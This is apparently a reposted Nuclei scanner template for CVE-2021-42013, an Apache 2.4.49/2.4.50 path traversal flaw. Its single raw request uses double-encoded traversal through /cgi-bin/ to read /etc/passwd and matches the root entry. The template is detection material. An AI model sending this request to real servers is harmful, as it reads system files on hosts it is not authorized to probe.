id: CVE-2021-42013
info:
name: Apache 2.4.49/2.4.50 - Path Traversal and Remote Code Execution
author: nvn1729
severity: critical
description: A flaw was found in a change made to path normalization in Apache HTTP Server 2.4.49 and 2.4.50. An attacker could use a path traversal attack to map URLs to files outside the expected document root. If files outside of the document root are not protected by "require all denied" these requests can succeed. Additionally this flaw could leak the source of interpreted files like CGI scripts. In certain configurations, for instance if mod_cgi is enabled, this flaw can lead to remote code execution. This issue only affects Apache 2.4.49 and 2.4.50 and not earlier versions. Note - CVE-2021-42013 is due to an incomplete fix for the original vulnerability CVE-2021-41773.
reference:
- https://github.com/apache/httpd/commit/5c385f2b6c8352e2ca0665e66af022d6e936db6d
- https://nvd.nist.gov/vuln/detail/CVE-2021-42013
- https://twitter.com/itsecurityco/status/1446136957117943815
tags: cve,cve2021,lfi,apache,rce,misconfig
requests:
- raw:
- |+
GET /cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1
Host: {{Hostname}}
Origin: {{BaseURL}}
unsafe: true
matchers-condition: and
matchers:
- type: regex
regex:
- "root:.*:0:0"
- type: status
status:
- 200
原文始发于微信公众号(Khan安全攻防实验室):怕怕奇 RCE 屁噢c
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